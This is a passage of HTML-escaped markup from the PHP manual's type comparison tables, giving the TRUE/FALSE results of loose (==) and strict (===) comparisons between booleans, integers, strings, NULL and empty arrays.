class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;-1&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"1"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"0"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"-1"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;NULL&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;array()&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"php"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;""&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;      &lt;/tbody&gt;       &lt;/table&gt; &lt;p&gt;  &lt;/p&gt;   &lt;p class="para"&gt;   &lt;/p&gt;&lt;table class="doctable table"&gt;    &lt;caption&gt;&lt;b&gt;Strict comparisons with &lt;i&gt;===&lt;/i&gt;&lt;/b&gt;&lt;/caption&gt;         &lt;thead valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;th&gt;&lt;br /&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;1&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;0&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;-1&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"1"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"0"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"-1"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;NULL&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;array()&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"php"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;""&lt;/i&gt;&lt;/th&gt;      &lt;/tr&gt;      &lt;/thead&gt;      &lt;tbody class="tbody" valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;1&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;0&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;-1&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"1"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;"0"&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt 